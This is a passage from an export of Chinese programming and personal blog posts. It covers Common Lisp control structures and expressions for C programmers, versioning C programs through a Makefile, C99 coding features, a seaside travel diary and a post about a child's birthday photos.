(cond-n)\nstatments-n\n此时如果用if来实现，代码就显得层次太深，不够简洁，可读性不好，也难于后续维护：\n(if (cond-1)\n(statments-1)\n(if (cond-2)\n(statments-2)\n…..\n(if (cond-n)\n(statments-n))))\nCommon Lisp提供了cond操作符来应对这一情况：\n(cond\n((cond-1) (statments-1))\n((cond-2) (statments-2))\n… …\n((cond-n) (statments-n)))\nC语言中还有一种分支结构switch…case，可用于将一个变量与诸多常量相比较。变量与哪个case中的常量相等，就继续执行该case所在的分支代码。有些资料中将该结构称为选择结构，这里我把它统一划归在条件分支一类中。因为只有满足case条件，执行权才会进入到这个分支：\nswitch (expression) {\ncase (const expression):\nstatments;\n… …\ncase (const expression):\nstatments;\ndefault:\nstatments;\n}\nCommon Lisp中也有与switch…case对应的结构：case。\n[1] \u0026gt; (defun grade-meaning (grade)\n(case grade\n((5) \u0026ldquo;Excellent\u0026rdquo;)\n((4) \u0026ldquo;Good\u0026rdquo;)\n((3) \u0026ldquo;Average\u0026rdquo;)\n((2) \u0026ldquo;Poor\u0026rdquo;)\n((1) \u0026ldquo;Failing\u0026rdquo;)\n(otherwise \u0026ldquo;Illegal grade\u0026rdquo;)))\nGRADE-MEANING\n[2]\u0026gt; (grade-meaning 5)\n\u0026ldquo;Excellent\u0026rdquo;\n[3]\u0026gt; (grade-meaning 1)\n\u0026ldquo;Failing\u0026rdquo;\n[4]\u0026gt; (grade-meaning 0)\n\u0026ldquo;Illegal grade\u0026rdquo;\ncase结构中的otherwise类似与C语言中switch…case中的default分支，用于处理默认情况。我们也可以用t代替otherwise，其语义是一样的：\n[5] \u0026gt; (defun grade-meaning (grade)\n(case grade\n((5) \u0026ldquo;Excellent\u0026rdquo;)\n((4) \u0026ldquo;Good\u0026rdquo;)\n((3) \u0026ldquo;Average\u0026rdquo;)\n((2) \u0026ldquo;Poor\u0026rdquo;)\n((1) \u0026ldquo;Failing\u0026rdquo;)\n(t \u0026ldquo;Illegal grade\u0026rdquo;)))\n三、循环结构\n和前两种控制结构相比，循环结构相对更加复杂一些。C语言提供了三种循环结构：for，do-while和while。而在Common Lisp中最通用也最灵活的循环结构为do宏。\ndo宏的语法形式如下：\n(do ((var init-form step-form)*)\n(end-test-form result-form*)\nstatement*)\n和C语言中的for语句相似，do宏的执行过程也比较复杂：\n在初始化阶段，即循环未开始前，init-form被求值，求值结果赋给var； 求值end-test-form，如果为nil，则进入子循环体，执行statement*; 如果为真，则求值result-form，并将求值结果作为do的返回值，循环结束; 每个子循环执行完毕后，都会求值step-form，并用求值结果更新var； 重复执行步骤2) 我们用个例子来分析一下这个执行过程，下面是一个求0到2的累加和的例子：\n(do ((i 0 (1+ i))\n(sum 0 (+ sum i)))\n((\u0026gt; i 2) sum))\n初始化：i = 0, sum = 0 求值end-test-form，判断终止条件是否成立，(\u0026gt; 0 2)为nil，进入子循环; 循环体为空，求值step-form，即i \u0026lt;- 0 + 1，结果i = 1; sum \u0026lt;- sum + i = 0 + 0(注意：这里的i用的是更新前的旧值)，结果sum = 0; 求值end-test-form，判断终止条件是否成立，(\u0026gt; 1 2)为nil，进入子循环; 循环体为空，求值step-form，即i \u0026lt;- 1 + 1，结果i = 2; sum \u0026lt;- sum + i = 0 + 1 = 1; 求值end-test-form，判断终止条件是否成立，(\u0026gt; 2 2)为nil，进入子循环; 循环体为空，求值step-form，即i \u0026lt;- 2 + 1，结果i = 3; sum \u0026lt;- sum + i = 1 + 2 = 3; 求值end-test-form，判断终止条件是否成立，(\u0026gt; 3 2)为t，求值result-form，即sum = 3，do循环结束，返回值3。 do宏通用性强，但语法及行为复杂。为了简化代码，方便使用，针对两种常见情况Common Lisp基于do宏又提供了dotimes和dolist两个宏。\ndotimes宏顾名思义，适用于多次重复执行某个动作，其语法形式：\n(dotimes (var max-count-form)\nbody-form*)\n其执行流程照比do宏要简单的多，注意max-count-form求值结果必须为一数值：\nvar初始化为0 检查循环结束条件：如果var小于max-count-form的求值结果，则求值body-form；否则返回nil var \u0026lt;- var + 1 重复执行步骤2) 例如：\n[1] \u0026gt; (dotimes (i 2) (print i))\n0\n1\nNIL\ndolist宏适用于迭代处理一个list中的诸多元素，其语法形式如下：\n(dolist (var list-form)\nbody-form*)\n其执行流程大致如下：\nvar初始化为list-form的第一个元素 检查循环结束条件：如果var不为nil，则求值body-form；否则返回nil var被赋值为list-form中的下一个元素 重复执行步骤2) 例如：\n[1]\u0026gt; (dolist (i \u0026lsquo;(1 2 3))\n(print (* 2 i)))\n2\n4\n6\nNIL\n[2]\u0026gt; (defun integer-list-sum (x)\n(let ((sum 0))\n(dolist (i x)\n(setf sum (+ sum i)))\n(print sum)))\nINTEGER-LIST-SUM\n[3]\u0026gt; (integer-list-sum \u0026lsquo;(1 2 3 4))\n10\n在C语言中，我们可以通过break从循环中主动退出。Common Lisp同样也提供了\u0026quot;break\u0026quot;特性，不过Common Lisp用的是return，例如：\n[1]\u0026gt; (do ((n 0 (1+ n))\n(cur 0 next)\n(next 1 (+ cur next)))\n((= 10 n) cur)\n(if (oddp cur)\n(progn\n(print cur)\n(return))))\n1\nNIL\n有了三种控制结构，我们就可以用Common Lisp编写出更加富有表现力的实用代码了。以上只是Common Lisp提供的标准控制结构。别忘了，Common Lisp可是一门可编程的编程语言，我们完全可以根据自己的需要定义出更加简洁方便的控制结构，不过这是高级话题了。等我们学到宏的时候再考虑这些吧。现在的首要任务就是熟练掌握这些基本的控制结构^_^。\n","permalink":"https://tonybai.com/2011/09/14/c-programers-tame-common-lisp-series-control-structure/","summary":"\u003cp\u003e光有\u003ca href=\"http://tonybai.com/2011/09/02/c-programers-tame-common-lisp-series-expressions/\"\u003e表达式\u003c/a\u003e，我们依旧无法写出实用的程序，我们还缺少控制结构(Control Structures)。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/C/\"\u003eC语言\u003c/a\u003e主要有三种控制结构：顺序结构、条件分支结构和循环结构。\u003ca href=\"http://tonybai.com/2011/06/21/hello-common-lisp/\"\u003eCommon Lisp\u003c/a\u003e\u003cbr\u003e\n也实现了类似的控制结构，我们逐一来看。\u003c/p\u003e\n\u003cp\u003e一、顺序结构\u003cbr\u003e\n顾名思义，顺序结构中的语句或表达式是按其位置的先后顺序依次执行的，这也是最简单也最容易理解的一种结构。在C语言中，绝大多数代码块(code block)中的代码都是顺序结构的。Common Lisp程序由\u003ca href=\"http://en.wikipedia.org/wiki/S-expression\"\u003eS-expressions\u003c/a\u003e组成，其本质上的执行过程为自左向右的求值过程。不过Common Lisp的代码编排风格会让给大家一种错觉：Common Lisp似乎也是顺序执行的，例如：\u003c/p\u003e","title":"C程序员驯服Common Lisp – 控制结构"},{"content":"在Unix/Linux上，我们一般可以通过两种方法查看到一个可执行程序的版本信息，以下以Ubuntu中的Gcc为例。\n第一种方法：我们可以直接通过程序名字得到版本信息，例如:\n$ which gcc\n/usr/bin/gcc\n$ ls -l /usr/bin/gcc\nlrwxrwxrwx 1 root root 7 2010-08-21 00:18 /usr/bin/gcc -\u0026gt; gcc-4.4*\n可以看到我用的Gcc的版本号为4.4，但似乎这个版本信息还不够全，只包含了major和minor版本号，还不包括bugfix修订号。\n第二种方法，也是最常见的，获得版本信息最为详细的方法，它就是通过-v或–version命令行选项来查看可执行程序的版本号，绝大多数Unix/Linux下的程序都是支持这种方法的。比如：\n$ gcc –version\ngcc (Ubuntu 4.4.3-4ubuntu5) 4.4.3\n可能有人会认为无论是将版本信息放入程序名字中还是在程序内部加上版本信息，都不是神马难事儿，没有必要单写一篇文章来说明。没错，这些的确不是什么困难的事。\n在程序名字中放入版本号，通过Gcc命令即可完成：\n$ gcc -o foo-1.3.1 foo.c\n如果你使用Makefile来构建你的程序，你可以这样做：\n/* Makefile */\nTARGET = foo-1.3.1\nall: $(TARGET)\ngcc -o $(TARGET) foo.c\n而在程序内部加上版本信息的最简单方法莫过于在头文件中定义一个宏，然后在version函数中输出这个宏的内容：\n/* version.h */\n#define VERSION \u0026ldquo;1.3.1\u0026rdquo;\n/* version.c */\nvoid version() {\nprintf(\u0026quot;%s\\n\u0026quot;, VERSION);\n}\n我相信很多朋友都是如是做的。\n如果大家真的都是这样做的，那么问题就出现了：\u0026ldquo;当可执行程序的版本信息发生变更时，我们需要修改两个地方\u0026rdquo;。又有人会说：\u0026ldquo;修改两个地方也不是很麻烦啊\u0026rdquo;。没错，但这绝不是吹毛求疵，而是实实在在发生的问题。实际开发中很多开发人员总是只记得修改一处，而忘记了另外一处，这样就导致了两处版本信息的不一致。\n我们不能完全依靠开发人员的细心和责任心来消除这一问题，我这里提供一种方法供大家参考：\n我们在Makefile中像这样定义一组版本信息相关的变量，最重要的是通过一个外部宏定义FOO_VERSION_INFO将版本内容传递到程序内部：\n# Makefile\nMAJOR := 1\nMINOR := 3\nBUGFIX := 1\nTARGET := foo-$(MAJOR).$(MINOR)\nCFLAGS = -DFOO_VERSION_INFO=\\\u0026quot;${MAJOR}.${MINOR}.${BUGFIX}\\\u0026quot;\nall:\ngcc -o $(TARGET) $(CFLAGS) foo.c\n/* foo.c */\nvoid version() {\n/* 这里直接使用Makefile中定义的FOO_VERSION_INFO宏 */\nprintf(\u0026quot;%s\\n\u0026quot;, FOO_VERSION_INFO);\n}\nint main() {\nversion();\nreturn 0;\n}\n$ foo-1.3\n$ 1.3.1\n这样一来，即使版本号发生变更了，我们也只需修改Makefile这一处包含版本信息的文件即可。\n很多可执行程序的文件名中并不包含版本信息，像ls。如果是这样的话，一切就变得简单了。但是若像Gcc那样，在程序名以及程序内部都包含有版本信息的，我相信使用这个方法/技巧还是大有裨益的。\n","permalink":"https://tonybai.com/2011/09/09/when-program-version-changed/","summary":"\u003cp\u003e在Unix/Linux上，我们一般可以通过两种方法查看到一个可执行程序的版本信息，以下以\u003ca href=\"http://tonybai.com/2011/04/29/feel-experience-after-using-ubuntu-for-one-year/\"\u003eUbuntu\u003c/a\u003e中的\u003ca href=\"http://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/\"\u003eGcc\u003c/a\u003e为例。\u003c/p\u003e\n\u003cp\u003e第一种方法：我们可以直接通过程序名字得到版本信息，例如:\u003cbr\u003e\n$ which gcc\u003cbr\u003e\n/usr/bin/gcc\u003cbr\u003e\n$ ls -l /usr/bin/gcc\u003cbr\u003e\nlrwxrwxrwx 1 root root 7 2010-08-21 00:18 /usr/bin/gcc -\u0026gt; gcc-4.4*\u003c/p\u003e","title":"当可执行程序版本信息变更时"},{"content":"算上这次，部门已经是连续三年组织去海边旅游了。前年没印象了，去年是南北戴河，今年是西中岛。\n按理来说，总去海边肯定有些腻歪了。但我个人还是比较喜欢海的。喜欢海不是因为喜欢吃新鲜的海鲜，而是向往一种意境：大家一起坐在海边，扶着海风，听着海浪、远望海天之际，或陷入冥想，或欢歌笑语。\n据导游说西中岛是个刚开发没几年的海边旅游景区，各种配套设施与成熟的景区相比还有较大差距，其吸引游客的地方就在于其平缓宽阔且沙质细腻的海滩、相对清澈的海水以及可以欣赏到海边日落的优越海湾位置。\n实际情况也的确如此。第一感觉西中岛就是一个偏僻的小乡村。如果以前从未来过，你很难通过路标找到这里。入住酒店后，大家就成群结伙儿的来到海边。现在是旅游旺季，海边的游客真不是一般得多，满眼都是\u0026quot;肉色\u0026quot;。又恰逢晌午时分，海水潮涨，海滩面积变小，更加凸显了那人山人海的气势。不喜欢过于喧闹，于是与几位同事沿着海岸向一侧人少的地方漫步。一边走，一边感受西中岛的海。\n西中岛的海十分适宜游客玩海。它具备几个良好的条件：首先是沙质细腻，没有石头，这样游客才敢于下海，愿意下海；其次海滩向大海延伸比较平缓，距岸边几十米处的海水深度也就刚没过成人脚踝，这样家长可以十分放心地让小孩子们自由随性的玩海；最后，这里的海水相对来说是比较干净的，美中不足的是这里的沙子中混入了一些泥土，有些地方水因泥而显混浊。\n西中岛的浪大，浪头也高。不知道是否是恰逢涨潮的缘故，这里的海浪让我印象深刻。记忆中似乎还没有见识过如此激情澎湃的浪头，目测近岸的浪头足有一米多，估计都具备冲浪的条件了。很多游客在波波浪涌中体味着海水冲扶的乐趣。\n海滩的西侧是一处天然巨石形成的小山包，山顶矗立着几栋别墅，那是VIP的活动区域。巨石上开凿了小路，在山顶处有一处观景台，这里应该是整个西中岛看海最好的地方了。走累了，就和几个同事在这里一坐，谈天说地，感受着着壮观的大海，这似乎就是我向往的那种意境。\n因旅行社统一安排，我们没来得及欣赏海边日落，不过之前在其他地方见到过几次，所以也没什么遗憾。\n与白天相比，夜晚海滩的喧闹有过之而无不及。篝火、焰火、孔明灯照亮夜空，海浪声、歌声，欢笑声也不绝于耳，这些的确可以让人释放一些生活和工作中的压力，但却失去了我内心中的那向往的静谧，让我仿佛又看到了都市般的喧嚣。我的内心深处其实更想独坐在沙滩上，耳中只有海浪之声，释放心灵深处的一切压抑和苦恼，去感受心旷神怡般的美妙。\n两天一宿的西中岛之旅很快就过去了。大海之旅总是这样的：把压抑苦闷扔给大海，自己带走一缕清新。\n附记：\n* 从沈城驱车到西中岛理想情况需5个多点，我们此行因堵车花费了7个小时。\n*西中岛位于瓦房店市区域，这里盛产桃子。不过一路走来，发现路边桃子的品相似乎不大好，不知道是不是好桃子都早已卖到外地去了。\n* 西中岛海滩管理较差，污物随处丢弃现象时有发生，海滩上经营海产品饮食的小店卫生情况也很一般。\n","permalink":"https://tonybai.com/2011/09/06/a-tour-of-xizhong-island/","summary":"\u003cp\u003e算上这次，部门已经是连续三年组织去海边旅游了。前年没印象了，去年是南北戴河，今年是西中岛。\u003c/p\u003e\n\u003cp\u003e按理来说，总去海边肯定有些腻歪了。但我个人还是比较喜欢海的。喜欢海不是因为喜欢吃新鲜的海鲜，而是向往一种意境：大家一起坐在海边，扶着海风，听着海浪、远望海天之际，或陷入冥想，或欢歌笑语。\u003c/p\u003e","title":"西中岛旅记"},{"content":"果果在今年五月份就已经满一岁了，不过由于\u0026quot;档期\u0026quot;原因，果果一周岁的生日照直到六月份才拍上。再加上后期靓照制作过程中，我们与影楼就版面设计交流和修改过多次，这样果果的周岁靓照一直到上周才正式出炉！啥也不说了，上图^_^。\n现在小家伙儿有16个月了，很是淘气，胃口和爸爸一样好得很。我们说的生活用语似乎她都能听明白，也能照着做。但就是说话有些晚，到目前为止还不会叫爸爸呢:(。不过她的动手能力似乎还不错，目前已经会自己穿鞋子和短裤了。\n","permalink":"https://tonybai.com/2011/09/05/one-year-old-photos-of-my-daughter/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/\"\u003e果果\u003c/a\u003e在今年五月份就已经满一岁了，不过由于\u0026quot;档期\u0026quot;原因，\u003ca href=\"http://tonybai.com/2011/05/03/my-daughter-is-one-year-old/\"\u003e果果一周岁\u003c/a\u003e的生日照直到六月份才拍上。再加上后期靓照制作过程中，我们与影楼就版面设计交流和修改过多次，这样果果的周岁靓照一直到上周才正式出炉！啥也不说了，上图^_^。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1315228790q.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1315228830f.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1315228873i.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_13152289057.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e现在小家伙儿有16个月了，很是淘气，胃口和爸爸一样好得很。我们说的生活用语似乎她都能听明白，也能照着做。但就是说话有些晚，到目前为止还不会叫爸爸呢:(。不过她的动手能力似乎还不错，目前已经会自己穿鞋子和短裤了。\u003c/p\u003e","title":"果果一周岁生日靓照"},{"content":"Common Lisp程序由一组表达式构成。在\u0026quot;入门\u0026ldquo;一文中我提到过：Common Lisp使用S-expressions作为表达式(Expressions)的基本语法格式。S-expressions由原子(atoms)和S-expressions列表组成，或者说原子和列表(List)是组成S-expression的基本元素。复杂的源程序都是由简单的表达式组成的，我们在学习编写实用的Common Lisp程序之前，首先要清楚简单表达式的结构和求值方法。\n每个Lisp表达式都可以提交给Common Lisp解释器进行求值，并得到一个求值结果。这里我们从简单的原子说起。\n一、原子\n原子虽然十分简单，但它也是一种表达式。对于原子而言，其求值结果就是其自身的值。下面我们来看看一些常见的原子以及其求值结果：\n(1) 数字(Number)\n数字是一种原子，其求值结果即为其自身数值。\n* 整型数字\n[1]\u0026gt; 13\n13\n[2]\u0026gt; -4\n-4\n[3]\u0026gt; 0\n0\n[4]\u0026gt; #xa ;; 16进制数\n10\n[5]\u0026gt; #o11 ;; 8进制数\n9\n[6]\u0026gt; #b011 ;; 二进制数\n3\n[7]\u0026gt; #24r1n ;; 24进制数\n47\n最后的#24r1n是一种通用N进制数表示形式，N取值范围为2到36，其表示形式为#Nr…。\n* 浮点数\n[1]\u0026gt; 3.1415\n13\n[2]\u0026gt; 365e0\n365.0\n[3]\u0026gt; 365e-3\n0.365\n[4]\u0026gt; 365f-3\n0.365\n[5]\u0026gt; 365d-3\n0.365d0\n[6]\u0026gt; 0.365e20\n3.65E19\n标志f表示单精度浮点数，标志d表示双精度浮点数，标志e表示默认采用单精度，与f相同。\n* 分数\n[1]\u0026gt; 5/6\n5/6\n* 复数\n[1]\u0026gt; #C(1.2 3)\n#C(1.2 3)\nC(1.2 3)对应的复数为1.2+3i。\n(2) 字符(character)\n单独的字符也是原子，其求值结果也是其自身值。\n下面是一些可见字符：\n[1]\u0026gt; #\\a\n#\\a\n[2]\u0026gt; #\\A\n#\\A\n[3]\u0026gt; #\\%\n#\\%\n[4]\u0026gt; #\\\u0026amp;\n#\\\u0026amp;\n一些常见的控制字符的形式如下：\n[1]\u0026gt; #\\newline\n#\\Newline\n[2]\u0026gt; #\\tab\n#\\Tab\n[3]\u0026gt; #\\backspace\n#\\Backspace\n[4]\u0026gt; #\\space\n#\\Space\n[5]\u0026gt; #\\escape\n#\\Escape\n(3) 字符串(string)\n与C语言中的字符串不同，Common lisp中字符串结尾并不包含\u0026rsquo;\u0026rsquo;。但字符串也是原子，其求值结果依旧是其本身。\n[1]\u0026gt; \u0026ldquo;Hello, Common Lisp!\u0026rdquo;\n\u0026ldquo;Hello, Common Lisp!\u0026rdquo;\n我们可以字符转义将一些特殊字符放入字符串，比如我们可以在字符串中包含双引号：\n[2]\u0026gt; (format t \u0026ldquo;~A ~%\u0026rdquo; \u0026ldquo;He said \\\u0026ldquo;I am going to see Harry Potter!\\\u0026rdquo; and then he left.\u0026rdquo;)\nHe said \u0026ldquo;I am going to see Harry Potter!\u0026rdquo; and then he left.\nNIL\n不过我们无法通过转义方法将tab字符、回车符、换行符放入字符串，只能通过键盘手工输入：\n[3]\u0026gt; \u0026ldquo;Look, here are tabs and some\nreturns!\nUnderstand?\u0026rdquo;\n\u0026ldquo;Look, here are tabs and some\nreturns!\nUnderstand?\u0026rdquo;\n(4) 布尔类型(bool)\n布尔值也是原子，但只有两个可选值：t和nil。t代表true，nil代表false，由于比较简单，这里就不细说了。\n(5) 符号(symbols)\n与C语言不同的是，Common Lisp中有一种语法元素称为\u0026quot;符号\u0026rdquo;。符号有些类似于C语言中的标识符，用来表示Lisp程序中使用的名字，诸如函数和变量的名字，像format，hello-foo, *counter*等。Lisp符号的包容性更强，像+，-等在C中为操作符关键字的字符都可以作为符号。\n(a b c) ; 一个包含三个符号的list\n(a 2 \u0026ldquo;bar\u0026rdquo;) ; 这个list包含一个符号，一个数字和一个字符串\n(+ (* 2 3) 4) ; 这个list包含一个符号，一个列表以及一个数字\n符号的求值比较特殊，如果该符号没有绑定到任何值，解释器会提示错误。如果绑定了值，则显示绑定的值：\n[1]\u0026gt; a\n*** – EVAL: variable A has no value\nThe following restarts are available:\nUSE-VALUE :R1 You may input a value to be used instead of A.\nSTORE-VALUE :R2 You may input a new value for A.\nABORT :R3 Abort main loop\nBreak 1 [2]\u0026gt; :r3\n[3]\u0026gt; (setf a 5)\n5\n[4]\u0026gt; a\n5\n二、列表\n在实用程序中，我们很少将原子单独作为表达式，我们更多使用的是List，即列表。之前说过Common Lisp的核心就是List，此List不同于我们以往数据结构中学习的那个List，在Common Lisp中，List是程序和数据的载体，别忘了Lisp是\u0026quot;LISt Processing\u0026quot;的缩写，直译过来Lisp就是List处理语言，这也凸显了List在Lisp语言中的核心地位。\n绝大多数情况下，Lisp程序字面上就是一组列表集合。掌握对List进行求值的方法就显得尤为重要了。\n我们先从一个简单到不能再简单的List入手：\n[1]\u0026gt; (+ 1 2)\n3\n这个List由三个原子组成，一个符号以及两个数字。Common Lisp解释器会首先检查第一个元素是否是一个符号并且是否是一个绑定了有效函数的符号。如果不符合条件则报错。如果第一个元素是符号且绑定合法函数，如+，那么解释器会将后续的元素作为该函数的参数，并自左向右对参数逐个进行求值。\n[1]\u0026gt; (length \u0026ldquo;hello lisp\u0026rdquo;)\n10\n[2]\u0026gt; (\u0026ldquo;foo\u0026rdquo; 1 2)\n*** – EVAL: \u0026ldquo;foo\u0026rdquo; is not a function name; try using a symbol instead\nThe following restarts are available:\nUSE-VALUE :R1 You may input a value to be used instead.\nABORT :R2 Abort main loop\n在(+ 1 2)这个例子中，+是一个符合条件的符号，解释器接下来对1和2这两个原子进行求值，前面提到整数是原子，其求值结果即为自身值，所以解释器将1和2传给+，得到最终结果3。\nCommon Lisp的解释器对参数的求值是自左向右递归进行的，下面是一个稍复杂的表达式，其详细的求值过程如下：\n(+ (- 7 (/ 4 2)) (* 3 4))\n-\u0026gt; (+ (- 7 2) (* 3 4))\n-\u0026gt; (+ 5 (* 3 4))\n-\u0026gt; (+ 5 12)\n-\u0026gt; 17\n解释器从左向右依次对参数进行求值，解释器遇到函数+的第一个参数(- 7 (/ 4 2))，这显然是也是一个减法表达式，解释器递归地对该表达式进行求值；(- 7 (/ 4 2))表达式的第一个参数7为原子类型，其求值结果为自身值7；第二个参数又是一个除法表达式，解释器再一次进行递归求值，进入(/ 4 2)，这是个简单表达式，其求值结果为2；求值程序回到表达式(- 7 2)，得到求值结果5，至此最外层表达式的第一个参数求值完毕，结果为5；解释器继续对最外层表达式的第二个参数(* 3 4)进行求值，这是个乘法表达式，对该表达式求值结果为12，这样我们的顶层表达式就变成了(+ 5 12)，则最终求值结果就为17。这个过程有点类似于树遍历算法中的深度优先遍历算法。\n无论是多么复杂的表达式，Common Lisp解释器的求值方法都是如此的。当然解释器不一定会将函数的所有参数都进行求值，比如：(if t 5 (+ 6 7)这个表达式在if条件为t时，只会求值5这个参数，(+ 6 7)这个表达式不会被求值。\n","permalink":"https://tonybai.com/2011/09/02/c-programers-tame-common-lisp-series-expressions/","summary":"\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Common_Lisp\"\u003eCommon Lisp\u003c/a\u003e程序由一组表达式构成。在\u0026quot;\u003ca href=\"http://tonybai.com/2011/08/30/c-programers-tame-common-lisp-series-introduction/\"\u003e入门\u003c/a\u003e\u0026ldquo;一文中我提到过：Common Lisp使用\u003ca href=\"http://en.wikipedia.org/wiki/S-Expression\"\u003eS-expressions\u003c/a\u003e作为表达式(Expressions)的基本语法格式。S-expressions由原子(atoms)和S-expressions列表组成，或者说原子和列表(List)是组成S-expression的基本元素。复杂的源程序都是由简单的表达式组成的，我们在学习编写实用的Common Lisp程序之前，首先要清楚简单表达式的结构和求值方法。\u003c/p\u003e\n\u003cp\u003e每个Lisp表达式都可以提交给Common Lisp解释器进行求值，并得到一个求值结果。这里我们从简单的原子说起。\u003c/p\u003e","title":"C程序员驯服Common Lisp – 表达式"},{"content":"至今我还记得第一次听说C99标准还是在读大一时，那时同寝一位兄弟手头有一本Herbert Schildt编写的《C: The Complete Reference，Fourth Edition》(中文名：C语言大全)，书封皮的右上角上赫然写着\u0026quot;详解C99 ANSI/ISO最新标准\u0026quot;，那时离C99标准发布仅仅才一年。\n那个时候我们大学授课以及实验用的还是Borland的Turbo C 2.0，C99标准根本无从谈起。转眼间十多年过去了，C99标准逐渐成熟，各大编译器厂商以及开源编译器都完善了自己的产品，对C99有了很好的支持，像Gcc编译器在最新的4.6版本里几乎完全支持所有C99特性。但如果你依旧在用Microsoft的Visual Studio，那么很遗憾你可能依旧无法使用C99的诸多新特性。\n工作以来一直使用GCC作为C的编译器，但一直采用的是GCC的默认C标准，即gnu89，也就是C90标准加上一些GCC自行的扩展。直到去年年末与Dreamhead闲聊时，Dreamhead提出可利用C99标准简化代码编写的想法，我这才有意识地去主动了解一些有关C99与上一版标准不同的地方，并在今年的项目中尝试用gnu99(-std=gnu99)替代gnu89。\n与上一版标准相比，C99做了几十处修订，可用于简化代码编写的新增特性虽然不多，不过大多都还算很实用，其中一些是GCC在自己的扩展中已经存在了多年的特性，这次也被正式纳入C99标准中了。\n下面我就列举一些可以帮助你简化C代码编写的C99特性（也许还不够全面）：\n* 布尔类型\n很多C程序员都很向往Java以及C#等语言中提供的原生bool类型，在C语言没有真正提供bool类型之前，很多C程序中都有这样的代码：\n#undef bool\n#undef true\n#undef false\ntypedef enum {\nfalse,\ntrue\n} bool;\nC99标准中正式引入了布尔类型_Bool，注意是_Bool而不是bool。虽然不是bool，而是一个对于类型名称而言有些丑陋的名字，但这也给C程序员带来了些许福音。C标准委员会显然也考虑到了大家的质疑，遂又为C99引入了一个标准头文件\u0026quot;stdbool.h\u0026quot;，在该文件中我们看到了bool，true和false的定义，只不过它们不是原生的，而是宏：\n#define bool _Bool\n#define true 1\n#define false 0\n即使是这样，我们依旧可以无需编写自己的bool类型了（不过如果考虑在不同版本编译器之间的移植的话，还是需要根据__STDC_VERSION__来选择到底使用内置bool还是自定义bool的）。\n#include\nbool found = true;\nbool empty = false;\nbool is_foo();\nint xx_hash_create(xx_hash_t **h, bool shared);\n或者用_Bool类型关键字：\n/* no header needed */\n_Bool found = 1;\n_Bool empty = 0;\n_Bool is_foo();\nint xx_hash_create(xx_hash_t **h, _Bool shared);\n* 可变参数宏\n在不支持可变参数宏的日子里，我们经常这么定义一些宏：\n#define compare2(compf, arg1, arg2) \\\ncompf(arg1, arg2)\n#define compare3(compf, arg1, arg2, arg3) \\\ncompf(arg1, arg2, arg3)\n#define compare4(compf, arg1, arg2, arg3, arg4) \\\ncompf(arg1, arg2, arg3, arg4)\n… …\n有了可变参数宏后，我们只需一个定义即可：\n#define compare(compf, …) \\\ncompf(__VA_ARGS__)\ncompare(strcmp, \u0026ldquo;hello\u0026rdquo;, \u0026ldquo;world\u0026rdquo;);\ncompare(triplestrcmp, \u0026ldquo;hello\u0026rdquo;, \u0026ldquo;world\u0026rdquo;, \u0026ldquo;foo\u0026rdquo;);\n… …\n* Compound Literals\n这个特性比较难于译成中文，直译起来就是\u0026quot;复合字面量\u0026quot;。其实它类似一个匿名变量，其语法形式为\u0026quot;(类型){初始值列表}\u0026quot;，下面是一些例子可以帮助你理解：\n在没有\u0026quot;Compound Literals\u0026quot;特性之前，我们可以这样编写代码：\nstruct xx_allocator_t allocator;\nallocator.af = malloc;\nallocator.ff = free;\nxx_hash_new(.., \u0026amp;allocator);\n使用C99特性，我们就可以省掉xx_hash_new之前的那个变量定义和初始化了：\nxx_hash_new(.., \u0026amp;(struct xx_allocator_t){.af = malloc, .ff = free});\n* Designated initializers(指定初始化器)\n在没有这个特性之前，我们在用初始化器初始化一个数组或者一个结构体时，一般要给所有元素都赋值：\nstruct foo {\nint a;\nchar b;\nchar s[20];\n};\nint a[5] = {1, 2, 3, 4, 5};\nstruct foo f = {1, \u0026lsquo;A\u0026rsquo;, \u0026ldquo;hello\u0026rdquo;};\nstruct foo v[3] = {\n{1, \u0026lsquo;A\u0026rsquo;, \u0026ldquo;hello\u0026rdquo;},\n{2, \u0026lsquo;B\u0026rsquo;, \u0026ldquo;hi\u0026rdquo;},\n{3, \u0026lsquo;C\u0026rsquo;, \u0026ldquo;hey\u0026rdquo;}\n};\n如果我们只想为数组中某一个元素赋值，或者为结构体中某一个字段赋值的话，我们就不能使用初始化器了，只能这样来做：\nint a[5];\na[2] = 3;\nstruct foo f;\nstrcpy(f.s, \u0026ldquo;hello\u0026rdquo;);\nstruct foo v[3];\nv[1].a = 2;\nv[1].b = \u0026lsquo;B\u0026rsquo;;\nstrccpy(v[1].s, \u0026ldquo;hi\u0026rdquo;);\nC99给我们带来了指定初始化器的特性，我们可以在初始化时指定为哪个结构体字段或数组元素赋值：\nint a[5] = {[2] = 3, [4] = 5};\nstruct foo f = {.s = \u0026ldquo;hello\u0026rdquo;};\nstruct foo v[3] = {\n[1] = {.a = 2, .b= \u0026lsquo;B\u0026rsquo;, .s = \u0026ldquo;hi\u0026rdquo;}\n};\n* 为选择与迭代语句引入新的块范围\n这个C++程序员定然不陌生，在C++中我们可以这样定义一个循环：\nfor (int i = 0; i \u0026lt; 100; i++) {\n… …\n}\n但在老版本C中，我们只能这样做：\nint i;\nfor (i = 0; i \u0026lt; 100; i++) {\n… …\n}\n不过使用C99后，你就可以和C++程序员同等待遇了。\n和近几年涌现的一些新语言相比，古老的C语言中可以用于简化代码编写的语法糖就显得少得有些可怜。C1x标准目前正在制定中，但也不要对C1x期望太高，毕竟C语言的精髓并非旨在改善开发效率。\n","permalink":"https://tonybai.com/2011/08/31/simplify-coding-in-c99/","summary":"\u003cp\u003e至今我还记得第一次听说\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99标准\u003c/a\u003e还是在读大一时，那时同寝一位兄弟手头有一本\u003ca href=\"http://en.wikipedia.org/wiki/Herbert_Schildt\"\u003eHerbert Schildt\u003c/a\u003e编写的《C: The Complete Reference，Fourth Edition》(中文名：\u003ca 